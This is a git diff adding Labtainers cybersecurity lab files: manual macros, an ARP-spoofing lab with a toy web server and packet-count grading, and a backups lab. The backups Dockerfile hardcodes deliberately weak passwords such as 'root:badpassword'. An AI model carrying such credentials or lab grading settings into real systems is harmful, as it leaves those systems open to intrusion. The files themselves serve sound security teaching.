+\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{ + This lab was developed for the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under National Science + Foundation Award No. 1438893. + This work is in the public domain, and cannot be copyrighted.}} +\vspace{0.1in} +} + + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +\newcommand{\tstamp}{\today} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +\lhead{\bfseries Labtainers} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/read_first.txt new file mode 100644 index 000000000..22eb1e9e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/read_first.txt @@ -0,0 +1,6 @@ +The lab manual is at + file://LAB_DOCS/arp-spoof.pdf + +You may open these by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/gateway/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/gateway/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/gateway/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/gateway/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/gateway/_system/sbin/faux_init new file mode 100755 index 000000000..21cbc5490 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/gateway/_system/sbin/faux_init @@ -0,0 +1,18 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/instr_config/goals.config new file mode 100644 index 000000000..85df861ae --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/instr_config/goals.config @@ -0,0 +1,6 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +#DOC: Student captured at least 10 packets sent between the client +# and the web server, presumebly using arp spoofing. +did_spoof = matchany : integer_greater : sniff : answer=10 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/instr_config/pregrade.sh new file mode 100755 index 000000000..fd87d09e9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/instr_config/pregrade.sh @@ -0,0 +1,32 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +sniff_file=sniff.pcapng +if [[ -f $sniff_file ]]; then + # put output in results to not confuse content of student home + outpath=.local/result + outfile=$outpath/sniff.txt + mkdir -p "$outpath" + tcpdump -nvveS dst 172.25.0.2 -r $sniff_file > "$outfile" +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/instr_config/results.config new file mode 100644 index 000000000..951cea1d6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/instr_config/results.config @@ -0,0 +1,7 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +# +# results of precmd.sh were put in .local/result to not pollute +# student home directory +sniff = attacker:.local/result/sniff.txt : STRING_COUNT : HTTP diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/user/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/user/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/user/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/user/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/user/_system/etc/rc.local new file mode 100755 index 000000000..574b47b81 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/user/_system/etc/rc.local @@ -0,0 +1,2 @@ +#!/bin/bash +/usr/bin/set_default_gw.sh 172.25.0.3 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/user/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/user/_system/sbin/faux_init new file mode 100755 index 000000000..21cbc5490 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/user/_system/sbin/faux_init @@ -0,0 +1,18 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/MyHTTPServer.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/MyHTTPServer.py new file mode 100755 index 000000000..4f3fb47bc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/MyHTTPServer.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python + +import SimpleHTTPServer +import SocketServer +import os +import sys + +PORT = 80 + +class MyHTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): + #log_file = open('myhttplogfile.txt', 'w') + log_file = open('/var/log/myhttplogfile.txt', 'w') + def log_message(self, format, *args): + self.log_file.write("%s - - [%s] %s\n" % + (self.client_address[0], + self.log_date_time_string(), + format%args)) + self.log_file.flush() + +Handler = MyHTTPHandler + +httpd = SocketServer.TCPServer(("", PORT), Handler) + +print "serving at port", PORT + +httpd.serve_forever() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/_bin/fixlocal.sh new file mode 100755 index 000000000..56f4c71c2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/_bin/fixlocal.sh @@ -0,0 +1,11 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +sudo systemctl enable httpserver.service +sudo systemctl start httpserver.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/_system/etc/rc.local new file mode 100755 index 000000000..367a52611 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/_system/etc/rc.local @@ -0,0 +1,2 @@ +#!/bin/bash +/usr/bin/set_default_gw.sh 172.35.0.2 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/_system/lib/systemd/system/httpserver.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/_system/lib/systemd/system/httpserver.service new file mode 100644 index 000000000..aea420791 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/_system/lib/systemd/system/httpserver.service @@ -0,0 +1,11 @@ +[Unit] +Description=HTTP Service + +[Service] +Type=simple +ExecStart=/home/ubuntu/MyHTTPServer.py +StandardOutput=null + +[Install] +WantedBy=multi-user.target +Alias=httpserver.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/_system/sbin/faux_init new file mode 100755 index 000000000..bf41a7f21 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/_system/sbin/faux_init @@ -0,0 +1,15 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +/etc/init.d/httpserver.sh start diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/index.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/index.html new file mode 100644 index 000000000..ff1b7c6c1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/index.html @@ -0,0 +1,12 @@ + +Sample index.html for MyHTTPServer + +

Sample index.html for MyHTTPServer

+
+

Links:

+
+link1.html +
+link2.html + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/link1.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/link1.html new file mode 100644 index 000000000..485184386 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/link1.html @@ -0,0 +1,15 @@ + +Sample link1.html for MyHTTPServer + +This is sample

link1.html

for MyHTTPServer +
+index.html +
+link2.html +
+# The secret string below will be replaced with a keyed hash +
+My secret string is: HTTP_SECRET +
+ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/link2.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/link2.html new file mode 100644 index 000000000..590447299 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/webserver/link2.html @@ -0,0 +1,15 @@ + +Sample link2.html for MyHTTPServer + +This is sample

link2.html

for MyHTTPServer +
+index.html +
+link1.html +
+# The secret string below will be replaced with a keyed hash +
+My secret string is: HTTP_SECRET +
+ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/backups/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/backups/_bin/fixlocal.sh new file mode 100755 index 000000000..3495c2d7f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/backups/_bin/fixlocal.sh @@ -0,0 +1,19 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# +#sudo cp /usr/bin/who /usr/bin/cheese +img_dir=/vfs +img_fid=/vfs/myfs.img +sudo mkdir $img_dir +sudo dd if=/dev/zero of=$img_fid bs=1k count=100k +sudo mkfs -t ext2 -F $img_fid +sudo mkdir -p /lab_mnt +sudo mount -o loop $img_fid /lab_mnt +sudo chown student mnt +sudo mkdir /lab_mnt/usr +sudo cp -R /usr/bin /lab_mnt/usr/ +sudo cp /lab_mnt/usr/bin/who /lab_mnt/usr/bin/cheese +#sudo umount /lab_mnt + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/backups/_bin/student_startup.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/backups/_bin/student_startup.sh new file mode 100644 index 000000000..9c69a6f5b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/backups/_bin/student_startup.sh @@ -0,0 +1,10 @@ +id | grep root >>/dev/null +result=$? +if [[ $result -eq 0 ]]; then + df | grep lab_mnt >>/dev/null + mounted=$? + if [[ $mounted -ne 0 ]]; then + img_fid=/vfs/myfs.img + sudo mount -o loop $img_fid /lab_mnt + fi +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/backups/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/backups/_system/sbin/faux_init new file mode 100755 index 000000000..21cbc5490 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/backups/_system/sbin/faux_init @@ -0,0 +1,18 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/config/about.txt new file mode 100644 index 000000000..c62120a64 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/config/about.txt @@ -0,0 +1 @@ +Using tar and dump/restore for file backups. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/config/start.config new file mode 100644 index 000000000..41b0d42dc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/config/start.config @@ -0,0 +1,49 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER backups + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED backups_mike_master_seed + + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +# NETWORK DMZ_LINK +# MASK 172.25.0.0/24 +# GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER backups + # user name of user who interacts with the container. + USER student + PASSWORD password123 + X11 YES + SCRIPT NONE + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/config/version b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/config/version new file mode 100644 index 000000000..58cd76df2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/config/version @@ -0,0 +1 @@ +backups 1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/dockerfiles/Dockerfile.backups.backups.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/dockerfiles/Dockerfile.backups.backups.student new file mode 100644 index 000000000..0b3c4722f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/dockerfiles/Dockerfile.backups.backups.student @@ -0,0 +1,67 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.centos.xtra +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/yum-source.sh +RUN yum install -y dump openssl e4fsprogs +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN echo "root:badpassword" | chpasswd +#RUN adduser $user_name sudo +# replace above with below for centos/fedora +RUN usermod $user_name -a -G wheel +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/usr/sbin/init"] +# replace below with two above for centos +#ENTRYPOINT sudo /sbin/faux_init && bash +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/docs/Makefile new file mode 100644 index 000000000..f0f4dd4e5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/docs/Makefile @@ -0,0 +1,6 @@ +backups.pdf: backups.docx + soffice --convert-to pdf backups.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/docs/backups-Input.xlsx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/docs/backups-Input.xlsx new file mode 100755 index 000000000..2dd1cec60 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/docs/backups-Input.xlsx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/docs/backups-Template.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/docs/backups-Template.docx new file mode 100755 index 000000000..9ac0ade07 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/docs/backups-Template.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/docs/backups.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/docs/backups.docx new file mode 100755 index 000000000..9fa231372 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/docs/backups.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/docs/read_first.txt new file mode 100644 index 000000000..e2691cea2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/docs/read_first.txt @@ -0,0 +1,10 @@ +The lab manual is at + file://LAB_DOCS/backups.pdf +The report template at + file://LAB_DOCS/backups-Template.docx +The spreadsheet workbook at + file://LAB_DOCS/backups-Input.xlsx + +You may open those files by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/instr_config/goals.config new file mode 100644 index 000000000..ee5f67256 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/instr_config/goals.config @@ -0,0 +1,10 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +#SUM: No assessment of specific outcomes, just a list of command counts. + +#GROUP: Count of commands issued by the student +tar_count = value : tar +dump_count = value : dump +restore_count = value : restore +openssl_count = value : openssl diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/instr_config/results.config new file mode 100644 index 000000000..2f310ec73 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups/instr_config/results.config @@ -0,0 +1,7 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +tar = /root/.bash_history : COMMAND_COUNT : tar +dump = /root/.bash_history : COMMAND_COUNT : dump +restore = /root/.bash_history : COMMAND_COUNT : restore +openssl = /root/.bash_history : COMMAND_COUNT : openssl diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/archive/.ssh/authorized_keys b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/archive/.ssh/authorized_keys new file mode 100644 index 000000000..dbb5a69d7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/archive/.ssh/authorized_keys @@ -0,0 +1 @@ +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdCDRgXC28D9bgQPy4JpPffIgpy5lcfIlOAcqdVn8+q1BAjzqesyAfl0+XGtdSvR+cr8IRjXOsEhodkMbG8sjrcJ9AZCOxmxIpwdDSs3ec5v7NurRHrXuchnXXzI68Hk9VlGREzxzi/ccW3axXcZYUDQuzKvfx8Pp6hLcrAlJ5BQHL2DNAmIVzvVcxkB+3XW7zK+sfgk42nlZxOnk3YRa/Mz1b7A8WJldNE/uvUxxZN+hDVxfOFqWYfMC0lq/Uhy+0bhqxoR16MlkmNUZd8WZ4nqGeVn+nZZ1FeI3eiH6OIl6Px8otN5s1cmNoJHkophefV2nbQVZSei8ATa98UF5z student@server diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/archive/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/archive/_bin/fixlocal.sh new file mode 100755 index 000000000..9f6863aea --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/archive/_bin/fixlocal.sh @@ -0,0 +1,13 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +chmod 0700 $HOME/.ssh +chmod 0600 $HOME/.ssh/authorized_keys +sudo chmod 0700 root/.ssh +sudo chmod 0600 root/.ssh/authorized_keys diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/archive/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/archive/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/archive/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell 